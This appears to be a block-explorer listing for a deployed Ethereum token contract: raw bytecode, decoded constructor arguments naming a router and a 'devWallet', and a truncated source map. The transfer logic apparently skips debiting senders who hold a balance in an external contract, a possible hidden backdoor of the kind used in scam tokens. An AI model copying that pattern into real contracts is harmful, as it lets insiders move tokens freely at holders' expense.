19146107e7576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526003825283812033825290915291909120546107c2918490610c56565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107f2848484610c90565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5490919061085c6009600a6116e8565b61086a90633b9aca006116f7565b6108749190611730565b61087e9190611730565b905090565b600080546001600160a01b031633146108ae5760405162461bcd60e51b81526004016105b6906115ce565b81600003610921576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091e9190611743565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561096e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f5919061175c565b600061065e826000196105f7565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105b6906115ce565b600080546001600160a01b0319169055565b60006107f5338484610c90565b6000546001600160a01b03163314610a135760405162461bcd60e51b81526004016105b6906115ce565b4760006064610a2284846116f7565b610a2c919061170e565b604051909150339082156108fc029083906000818181858888f19350505050158015610a5c573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b81526004016105b6906115ce565b600a5430600081815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610b0d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b32919061177e565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba291906117ac565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063e6a4390590604401602060405180830381865afa158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3491906117ac565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610c7a5760405162461bcd60e51b81526004016105b6919061146a565b506000610c878486611730565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610cd257506001600160a01b03831660009081526005602052604090205460ff16155b8015610cec5750600c546001600160a01b03848116911614155b15610d66576001546001600160a01b038416600090815260026020526040902054610d189084906117c9565b1115610d665760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d69742072656163686564000000000000000060448201526064016105b6565b600e5460ff16610d8257610d7b848484610ed9565b90506107f5565b610d8a61104a565b15610d9757610d976110a0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610de9918490610c56565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610e3657506001600160a01b03841660009081526004602052604090205460ff165b610e4a57610e458584866111bf565b610e4c565b825b6001600160a01b038516600090815260026020526040902054909150610e7290826112dc565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ec69085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610fb592610f6792859216906370a0823190602401602060405180830381865afa158015610f2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f529190611743565b11610f5e576000610f60565b835b849061133b565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610c56565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610fe490836112dc565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110389086815260200190565b60405180910390a35060019392505050565b600c546000906001600160a01b0316331480159061106b5750600e5460ff16155b80156110805750600c54600160a01b900460ff165b801561087e575050600d5430600090815260026020526040902054101590565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e2576110e26117dc565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611136576111366117dc565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161118091906000908690309042906004016117f2565b600060405180830381600087803b15801561119a57600080fd5b505af11580156111ae573d6000803e3d6000fd5b5050600e805460ff19169055505050565b60008215806111ce5750600654155b156111da5750816107f5565b600954600c546001600160a01b03908116908416036111fc5750600854611217565b600c546001600160a01b039081169086160361121757506007545b600061124c6112276064806116f7565b611246846112406006548a61137d90919063ffffffff16565b9061137d565b906113ff565b905080156112c8573060009081526002602052604090205461126e90826112dc565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112bf9085815260200190565b60405180910390a35b6112d2858261133b565b9695505050505050565b6000806112e983856117c9565b9050838110156107f55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b6565b60006107f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c56565b60008260000361138f5750600061065e565b600061139b83856116f7565b9050826113a8858361170e565b146107f55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b6565b60006107f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361145d5760405162461bcd60e51b81526004016105b6919061146a565b506000610c87848661170e565b600060208083528351808285015260005b818110156114975785810183015185820160400152820161147b565b506000604082860101526040601f19601f8301168501019250505092915050565b6000602082840312156114ca57600080fd5b5035919050565b6001600160a01b03811681146114e657600080fd5b50565b600080604083850312156114fc57600080fd5b8235611507816114d1565b946020939093013593505050565b6000806040838503121561152857600080fd5b50508035926020909101359150565b60008060006060848603121561154c57600080fd5b8335611557816114d1565b92506020840135611567816114d1565b929592945050506040919091013590565b60006020828403121561158a57600080fd5b81356107f5816114d1565b600080604083850312156115a857600080fd5b82356115b3816114d1565b915060208301356115c3816114d1565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561163f578160001904821115611625576116256115ee565b8085161561163257918102915b93841c9390800290611609565b509250929050565b6000826116565750600161065e565b816116635750600061065e565b816001811461167957600281146116835761169f565b600191505061065e565b60ff841115611694576116946115ee565b50506001821b61065e565b5060208310610133831016604e8410600b84101617156116c2575081810a61065e565b6116cc8383611604565b80600019048211156116e0576116e06115ee565b029392505050565b60006107f560ff841683611647565b808202811582820484141761065e5761065e6115ee565b60008261172b57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561065e5761065e6115ee565b60006020828403121561175557600080fd5b5051919050565b60006020828403121561176e57600080fd5b815180151581146107f557600080fd5b60008060006060848603121561179357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117be57600080fd5b81516107f5816114d1565b8082018082111561065e5761065e6115ee565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118425784516001600160a01b03168352938301939183019160010161181d565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c0266faa72935ed8becf979caf88bfacae8a0af784f29aa3e3eec5722cae100c64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000006ee71d143094a135bbee2e0418d1422c4f5200fe

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : devWallet_ (address): 0x6EE71d143094a135BBEe2E0418d1422C4F5200fE

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000006ee71d143094a135bbee2e0418d1422c4f5200fe


Deployed Bytecode Sourcemap

3235:7087:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3490:41;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;3490:41:0;;;;;;;;;;;;:::i;:::-;;;;;;;;6207:174;;;;;;;;;;-1:-1:-1;6207:174:0;;;;;:::i;:::-;;:::i;:::-;;5311:216;;;;;;;;;;-1:-1:-1;5311:216:0;;;;;:::i;:::-;;:::i;:::-;;;1373:14:1;;1366:22;1348:41;;1336:2;1321:18;5311:216:0;1208:187:1;9389:237:0;;;;;;;;;;-1:-1:-1;9389:237:0;;;;;:::i;:::-;;:::i;4019:44::-;;;;;;;;;;;;4060:3;4019:44;;;;;1799:25:1;;;1787:2;1772:18;4019:44:0;1653:177:1;3631:58:0;;;;;;;;;;;;;:::i;3985:27::-;;;;;;;;;;;;;;;;5829:370;;;;;;;;;;-1:-1:-1;5829:370:0;;;;;:::i;:::-;;:::i;10182:137::-;;;;;;;;;;;;;:::i;2220:103::-;;;;;;;;;;-1:-1:-1;2220:103:0;;;;;:::i;:::-;2275:4;2310:5;-1:-1:-1;;;;;2299:16:0;;;2310:5;;2299:16;;2220:103;3584:34;;;;;;;;;;;;3617:1;3584:34;;;;;2720:4:1;2708:17;;;2690:36;;2678:2;2663:18;3584:34:0;2548:184:1;9894:280:0;;;;;;;;;;-1:-1:-1;9894:280:0;;;;;:::i;:::-;;:::i;3929:47::-;;;;;;;;;;-1:-1:-1;3929:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3878:44;;;;;;;;;;-1:-1:-1;3878:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5535:122;;;;;;;;;;-1:-1:-1;5535:122:0;;;;;:::i;:::-;;:::i;4281:30::-;;;;;;;;;;-1:-1:-1;4281:30:0;;;;-1:-1:-1;;;4281:30:0;;;;;;3756:45;;;;;;;;;;-1:-1:-1;3756:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;2331:85;;;;;;;;;;;;;:::i;3698:49::-;;;;;;;;;;;;;;;;5086:78;;;;;;;;;;-1:-1:-1;5138:7:0;5156:5;-1:-1:-1;;;;;5156:5:0;5086:78;;;-1:-1:-1;;;;;2901:32:1;;;2883:51;;2871:2;2856:18;5086:78:0;2737:203:1;3538:39:0;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;3538:39:0;;;;;4253:19;;;;;;;;;;-1:-1:-1;4253:19:0;;;;-1:-1:-1;;;;;4253:19:0;;;5665:156;;;;;;;;;;-1:-1:-1;5665:156:0;;;;;:::i;:::-;;:::i;9634:252::-;;;;;;;;;;-1:-1:-1;9634:252:0;;;;;:::i;:::-;;:::i;5170:133::-;;;;;;;;;;-1:-1:-1;5170:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5272:19:0;;;5254:7;5272:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5170:133;6389:475;;;:::i;4186:28::-;;;;;;;;;;-1:-1:-1;4186:28:0;;;;-1:-1:-1;;;;;4186:28:0;;;6207:174;2275:4;2310:5;-1:-1:-1;;;;;2310:5:0;2179:10;2299:16;2163:38;;;;-1:-1:-1;;;2163:38:0;;;;;;;:::i;:::-;;;;;;;;;6369:4:::1;6341:23:::0;3677:12:::1;3617:1;3677:2;:12;:::i;:::-;3669:20;::::0;:5:::1;:20;:::i;:::-;6327:37;;;;:::i;:::-;6326:47;;;;:::i;:::-;6308:15;:65:::0;-1:-1:-1;6207:174:0:o;5311:216::-;5415:10;5386:4;5403:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5403:32:0;;;;;;;;;;:41;;;5460:37;5386:4;;5403:32;;5460:37;;;;5438:6;1799:25:1;;1787:2;1772:18;;1653:177;5460:37:0;;;;;;;;-1:-1:-1;5515:4:0;5311:216;;;;;:::o;9389:237::-;2275:4;2310:5;-1:-1:-1;;;;;2310:5:0;2179:10;2299:16;2163:38;;;;-1:-1:-1;;;2163:38:0;;;;;;;:::i;:::-;9482:3:::1;9473:5;:12;;9465:40;;;::::0;-1:-1:-1;;;9465:40:0;;6014:2:1;9465:40:0::1;::::0;::::1;5996:21:1::0;6053:2;6033:18;;;6026:30;-1:-1:-1;;;6072:18:1;;;6065:46;6128:18;;9465:40:0::1;5812:340:1::0;9465:40:0::1;9532:3;9524:4;:11;;9516:38;;;::::0;-1:-1:-1;;;9516:38:0;;6359:2:1;9516:38:0::1;::::0;::::1;6341:21:1::0;6398:2;6378:18;;;6371:30;-1:-1:-1;;;6417:18:1;;;6410:45;6472:18;;9516:38:0::1;6157:339:1::0;9516:38:0::1;9565:14;:22:::0;9598:13:::1;:20:::0;9389:237::o;3631:58::-;3677:12;3617:1;3677:2;:12;:::i;:::-;3669:20;;:5;:20;:::i;:::-;3631:58;:::o;5829:370::-;-1:-1:-1;;;;;5949:19:0;;5929:4;5949:19;;;:11;:19;;;;;;;;5969:10;5949:31;;;;;;;;-1:-1:-1;;5949:52:0;5946:186;;6051:69;;;;;;;;;;;-1:-1:-1;;;6051:69:0;;;;;;;;-1:-1:-1;;;;;6051:19:0;;-1:-1:-1;6051:19:0;;;:11;:19;;;;;6071:10;6051:31;;;;;;;;;;:69;;6087:6;;6051:35;:69::i;:::-;-1:-1:-1;;;;;6017:19:0;;;;;;:11;:19;;;;;;;;6037:10;6017:31;;;;;;;:103;5946:186;6151:40;6165:6;6173:9;6184:6;6151:13;:40::i;:::-;6144:47;;5829:370;;;;;;:::o;10182:137::-;10295:9;:15;;;;3366:42;10235:7;10277:15;;;;;10235:7;;10295:15;3677:12;3617:1;3677:2;:12;:::i;:::-;3669:20;;:5;:20;:::i;:::-;10263:29;;;;:::i;:::-;:47;;;;:::i;:::-;10255:56;;10182:137;:::o;9894:280::-;9981:12;2310:5;;-1:-1:-1;;;;;2310:5:0;2179:10;2299:16;2163:38;;;;-1:-1:-1;;;2163:38:0;;;;;;;:::i;:::-;10009:6:::1;10019:1;10009:11:::0;10006:95:::1;;10045:44;::::0;-1:-1:-1;;;10045:44:0;;10083:4:::1;10045:44;::::0;::::1;2883:51:1::0;-1:-1:-1;;;;;10045:29:0;::::1;::::0;::::1;::::0;2856:18:1;;10045:44:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10036:53;;10006:95;10118:48;::::0;-1:-1:-1;;;10118:48:0;;10147:10:::1;10118:48;::::0;::::1;6997:51:1::0;7064:18;;;7057:34;;;-1:-1:-1;;;;;10118:28:0;::::1;::::0;::::1;::::0;6970:18:1;;10118:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;5535:122::-:0;5590:4;5614:35;5622:7;-1:-1:-1;;5614:7:0;:35::i;2331:85::-;2275:4;2310:5;-1:-1:-1;;;;;2310:5:0;2179:10;2299:16;2163:38;;;;-1:-1:-1;;;2163:38:0;;;;;;;:::i;:::-;2406:1:::1;2390:18:::0;;-1:-1:-1;;;;;;2390:18:0::1;::::0;;2331:85::o;5665:156::-;5745:4;5769:44;5783:10;5795:9;5806:6;5769:13;:44::i;9634:252::-;2275:4;2310:5;-1:-1:-1;;;;;2310:5:0;2179:10;2299:16;2163:38;;;;-1:-1:-1;;;2163:38:0;;;;;;;:::i;:::-;9730:21:::1;9710:17;9821:3;9788:28;9800:16:::0;9730:21;9788:28:::1;:::i;:::-;9786:38;;;;:::i;:::-;9835:43;::::0;9762:62;;-1:-1:-1;9843:10:0::1;::::0;9835:43;::::1;;;::::0;9762:62;;9835:43:::1;::::0;;;9762:62;9843:10;9835:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9699:187;;9634:252:::0;:::o;6389:475::-;2275:4;2310:5;-1:-1:-1;;;;;2310:5:0;2179:10;2299:16;2163:38;;;;-1:-1:-1;;;2163:38:0;;;;;;;:::i;:::-;6451:6:::1;::::0;6514:4:::1;6451:6;6550:24:::0;;;:9:::1;:24;::::0;;;;;;6695:5;;6451:325;;-1:-1:-1;;;6451:325:0;;::::1;::::0;::::1;7725:34:1::0;;;;7775:18;;;7768:34;7818:18;;;7811:34;;;7861:18;;;7854:34;;;;-1:-1:-1;;;;;6695:5:0;;::::1;7904:19:1::0;;;7897:44;6750:15:0::1;7957:19:1::0;;;7950:35;6451:6:0;;::::1;::::0;:22:::1;::::0;6481:9:::1;::::0;7659:19:1;;6451:325:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6810:6:0::1;::::0;:16:::1;::::0;;-1:-1:-1;;;6810:16:0;;;;-1:-1:-1;;;;;6810:6:0;;::::1;::::0;-1:-1:-1;6810:14:0::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:6;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6794:62;::::0;-1:-1:-1;;;6794:62:0;;6844:4:::1;6794:62;::::0;::::1;8775:34:1::0;-1:-1:-1;;;;;6851:4:0::1;8845:15:1::0;;8825:18;;;8818:43;6794:41:0;;;::::1;::::0;::::1;::::0;8710:18:1;;6794:62:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6787:4;:69:::0;;-1:-1:-1;;;;;;6787:69:0::1;-1:-1:-1::0;;;;;6787:69:0;;;::::1;::::0;;;::::1;::::0;;6389:475::o;536:192::-;622:7;658:12;650:6;;;;642:29;;;;-1:-1:-1;;;642:29:0;;;;;;;;:::i;:::-;-1:-1:-1;682:9:0;694:5;698:1;694;:5;:::i;:::-;682:17;536:192;-1:-1:-1;;;;;536:192:0:o;6874:810::-;-1:-1:-1;;;;;6988:22:0;;6966:4;6988:22;;;:14;:22;;;;;;;;6987:23;:53;;;;-1:-1:-1;;;;;;7015:25:0;;;;;;:14;:25;;;;;;;;7014:26;6987:53;:74;;;;-1:-1:-1;7057:4:0;;-1:-1:-1;;;;;7044:17:0;;;7057:4;;7044:17;;6987:74;6983:193;;;7121:15;;-1:-1:-1;;;;;7087:20:0;;;;;;:9;:20;;;;;;:29;;7110:6;;7087:29;:::i;:::-;7086:50;;7078:86;;;;-1:-1:-1;;;7078:86:0;;9204:2:1;7078:86:0;;;9186:21:1;9243:2;9223:18;;;9216:30;9282:26;9262:18;;;9255:54;9326:18;;7078:86:0;9002:348:1;7078:86:0;7190:6;;;;7186:64;;7206:41;7221:6;7229:9;7240:6;7206:14;:41::i;:::-;7199:48;;;;7186:64;7269:16;:14;:16::i;:::-;7266:35;;;7288:10;:8;:10::i;:::-;7333:53;;;;;;;;;;;-1:-1:-1;;;7333:53:0;;;;;;;;-1:-1:-1;;;;;7333:17:0;;-1:-1:-1;7333:17:0;;;:9;:17;;;;;;;;:53;;7355:6;;7333:21;:53::i;:::-;-1:-1:-1;;;;;7313:17:0;;;;;;:9;:17;;;;;;;;:73;;;;7425:11;:19;;;;;;;;;:45;;-1:-1:-1;;;;;;7448:22:0;;;;;;:11;:22;;;;;;;;7425:45;7424:93;;7483:34;7491:6;7499;7507:9;7483:7;:34::i;:::-;7424:93;;;7474:6;7424:93;-1:-1:-1;;;;;7553:20:0;;;;;;:9;:20;;;;;;7399:118;;-1:-1:-1;7553:40:0;;7399:118;7553:24;:40::i;:::-;-1:-1:-1;;;;;7530:20:0;;;;;;;:9;:20;;;;;;;:63;;;;7611:43;;;;;;;;;;7639:14;1799:25:1;;1787:2;1772:18;;1653:177;7611:43:0;;;;;;;;-1:-1:-1;7672:4:0;;6874:810;-1:-1:-1;;;;6874:810:0:o;7696:381::-;7865:9;;7859:34;;-1:-1:-1;;;7859:34:0;;-1:-1:-1;;;;;2901:32:1;;;7859:34:0;;;2883:51:1;7789:4:0;;7826:104;;7848:57;;7789:4;;7865:9;;7859:26;;2856:18:1;;7859:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:36;:45;;7903:1;7859:45;;;7896:6;7859:45;7848:6;;:10;:57::i;:::-;7826:104;;;;;;;;;;;-1:-1:-1;;;7826:104:0;;;;;;;;-1:-1:-1;;;;;7826:17:0;;-1:-1:-1;7826:17:0;;;:9;:17;;;;;;;;;:104;:21;:104::i;:::-;-1:-1:-1;;;;;7806:17:0;;;;;;;:9;:17;;;;;;:124;;;;7964:20;;;;;;;:32;;7989:6;7964:24;:32::i;:::-;-1:-1:-1;;;;;7941:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8012:35;;;;;;;;;;8040:6;1799:25:1;;1787:2;1772:18;;1653:177;8012:35:0;;;;;;;;-1:-1:-1;8065:4:0;7696:381;;;;;:::o;8816:197::-;8903:4;;8865;;-1:-1:-1;;;;;8903:4:0;8889:10;:18;;;;:38;;-1:-1:-1;8921:6:0;;;;8920:7;8889:38;:62;;;;-1:-1:-1;8940:11:0;;-1:-1:-1;;;8940:11:0;;;;8889:62;:116;;;;-1:-1:-1;;8992:13:0;;8982:4;8964:24;;;;:9;:24;;;;;;:41;;;8816:197::o;9021:360::-;4406:6;:13;;-1:-1:-1;;4406:13:0;4415:4;4406:13;;;9096:16:::1;::::0;;9110:1:::1;9096:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9096:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9096:16:0::1;9072:40;;9141:4;9123;9128:1;9123:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9123:23:0::1;;;-1:-1:-1::0;;;;;9123:23:0::1;;;::::0;::::1;9167:4;9157;9162:1;9157:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9157:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;9184:6:::1;::::0;9256:13:::1;::::0;9184:189:::1;::::0;-1:-1:-1;;;9184:189:0;;:6;;;::::1;::::0;:57:::1;::::0;:189:::1;::::0;9256:13;9184:6:::1;::::0;9300:4;;9327::::1;::::0;9347:15:::1;::::0;9184:189:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4424:6:0;:14;;-1:-1:-1;;4424:14:0;;;-1:-1:-1;;;9021:360:0:o;8085:723::-;8171:7;8194:11;;;:28;;-1:-1:-1;8209:8:0;;:13;8194:28;8191:72;;;-1:-1:-1;8245:6:0;8238:13;;8191:72;8296:18;;8343:4;;-1:-1:-1;;;;;8343:4:0;;;8330:17;;;;8327:154;;-1:-1:-1;8377:14:0;;8327:154;;;8422:4;;-1:-1:-1;;;;;8422:4:0;;;8412:14;;;;8409:72;;-1:-1:-1;8456:13:0;;8409:72;8493:17;8513:62;8554:20;4060:3;;8554:20;:::i;:::-;8513:36;8538:10;8513:20;8524:8;;8513:6;:10;;:20;;;;:::i;:::-;:24;;:36::i;:::-;:40;;:62::i;:::-;8493:82;-1:-1:-1;8591:13:0;;8588:172;;8665:4;8647:24;;;;:9;:24;;;;;;:39;;8676:9;8647:28;:39::i;:::-;8638:4;8620:24;;;;:9;:24;;;;;;;:66;;;;8706:42;;-1:-1:-1;;;;;8706:42:0;;;;;;;8738:9;1799:25:1;;1787:2;1772:18;;1653:177;8706:42:0;;;;;;;;8588:172;8779:21;:6;8790:9;8779:10;:21::i;:::-;8772:28;8085:723;-1:-1:-1;;;;;;8085:723:0:o;207:181::-;265:7;;297:5;301:1;297;:5;:::i;:::-;285:17;;326:1;321;:6;;313:46;;;;-1:-1:-1;;;313:46:0;;10806:2:1;313:46:0;;;10788:21:1;10845:2;10825:18;;;10818:30;10884:29;10864:18;;;10857:57;10931:18;;313:46:0;10604:351:1;394:136:0;452:7;479:43;483:1;486;479:43;;;;;;;;;;;;;;;;;:3;:43::i;734:250::-;792:7;816:1;821;816:6;812:47;;-1:-1:-1;846:1:0;839:8;;812:47;871:9;883:5;887:1;883;:5;:::i;:::-;871:17;-1:-1:-1;916:1:0;907:5;911:1;871:17;907:5;:::i;:::-;:10;899:56;;;;-1:-1:-1;;;899:56:0;;11162:2:1;899:56:0;;;11144:21:1;11201:2;11181:18;;;11174:30;11240:34;11220:18;;;11213:62;-1:-1:-1;;;11291:18:1;;;11284:31;11332:19;;899:56:0;10960:397:1;990:132:0;1048:7;1075:39;1079:1;1082;1075:39;;;;;;;;;;;;;;;;;1214:7;1249:12;1242:5;1234:28;;;;-1:-1:-1;;;1234:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1273:9:0;1285:5;1289:1;1285;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:180::-;626:6;679:2;667:9;658:7;654:23;650:32;647:52;;;695:1;692;685:12;647:52;-1:-1:-1;718:23:1;;567:180;-1:-1:-1;567:180:1:o;752:131::-;-1:-1:-1;;;;;827:31:1;;817:42;;807:70;;873:1;870;863:12;807:70;752:131;:::o;888:315::-;956:6;964;1017:2;1005:9;996:7;992:23;988:32;985:52;;;1033:1;1030;1023:12;985:52;1072:9;1059:23;1091:31;1116:5;1091:31;:::i;:::-;1141:5;1193:2;1178:18;;;;1165:32;;-1:-1:-1;;;888:315:1:o;1400:248::-;1468:6;1476;1529:2;1517:9;1508:7;1504:23;1500:32;1497:52;;;1545:1;1542;1535:12;1497:52;-1:-1:-1;;1568:23:1;;;1638:2;1623:18;;;1610:32;;-1:-1:-1;1400:248:1:o;1835:456::-;1912:6;1920;1928;1981:2;1969:9;1960:7;1956:23;1952:32;1949:52;;;1997:1;1994;1987:12;1949:52;2036:9;2023:23;2055:31;2080:5;2055:31;:::i;:::-;2105:5;-1:-1:-1;2162:2:1;2147:18;;2134:32;2175:33;2134:32;2175:33;:::i;:::-;1835:456;;2227:7;;-1:-1:-1;;;2281:2:1;2266:18;;;;2253:32;;1835:456::o;2296:247::-;2355:6;2408:2;2396:9;2387:7;2383:23;2379:32;2376:52;;;2424:1;2421;2414:12;2376:52;2463:9;2450:23;2482:31;2507:5;2482:31;:::i;2945:388::-;3013:6;3021;3074:2;3062:9;3053:7;3049:23;3045:32;3042:52;;;3090:1;3087;3080:12;3042:52;3129:9;3116:23;3148:31;3173:5;3148:31;:::i;:::-;3198:5;-1:-1:-1;3255:2:1;3240:18;;3227:32;3268:33;3227:32;3268:33;:::i;:::-;3320:7;3310:17;;;2945:388;;;;;:::o;3568:329::-;3770:2;3752:21;;;3809:1;3789:18;;;3782:29;-1:-1:-1;;;3842:2:1;3827:18;;3820:36;3888:2;3873:18;;3568:329::o;3902:127::-;3963:10;3958:3;3954:20;3951:1;3944:31;3994:4;3991:1;3984:15;4018:4;4015:1;4008:15;4034:422;4123:1;4166:5;4123:1;4180:270;4201:7;4191:8;4188:21;4180:270;;;4260:4;4256:1;4252:6;4248:17;4242:4;4239:27;4236:53;;;4269:18;;:::i;:::-;4319:7;4309:8;4305:22;4302:55;;;4339:16;;;;4302:55;4418:22;;;;4378:15;;;;4180:270;;;4184:3;4034:422;;;;;:::o;4461:806::-;4510:5;4540:8;4530:80;;-1:-1:-1;4581:1:1;4595:5;;4530:80;4629:4;4619:76;;-1:-1:-1;4666:1:1;4680:5;;4619:76;4711:4;4729:1;4724:59;;;;4797:1;4792:130;;;;4704:218;;4724:59;4754:1;4745:10;;4768:5;;;4792:130;4829:3;4819:8;4816:17;4813:43;;;4836:18;;:::i;:::-;-1:-1:-1;;4892:1:1;4878:16;;4907:5;;4704:218;;5006:2;4996:8;4993:16;4987:3;4981:4;4978:13;4974:36;4968:2;4958:8;4955:16;4950:2;4944:4;4941:12;4937:35;4934:77;4931:159;;;-1:-1:-1;5043:19:1;;;5075:5;;4931:159;5122:34;5147:8;5141:4;5122:34;:::i;:::-;5192:6;5188:1;5184:6;5180:19;5171:7;5168:32;5165:58;;;5203:18;;:::i;:::-;5241:20;;4461:806;-1:-1:-1;;;4461:806:1:o;5272:140::-;5330:5;5359:47;5400:4;5390:8;5386:19;5380:4;5359:47;:::i;5417:168::-;5490:9;;;5521;;5538:15;;;5532:22;;5518:37;5508:71;;5559:18;;:::i;5590:217::-;5630:1;5656;5646:132;;5700:10;5695:3;5691:20;5688:1;5681:31;5735:4;5732:1;5725:15;5763:4;5760:1;5753:15;5646:132;-1:-1:-1;5792:9:1;;5590:217::o;6501:128::-;6568:9;;;6589:11;;;6586:37;;;6603:18;;:::i;6634:184::-;6704:6;6757:2;6745:9;6736:7;6732:23;6728:32;6725:52;;;6773:1;6770;6763:12;6725:52;-1:-1:-1;6796:16:1;;6634:184;-1:-1:-1;6634:184:1:o;7102:277::-;7169:6;7222:2;7210:9;7201:7;7197:23;7193:32;7190:52;;;7238:1;7235;7228:12;719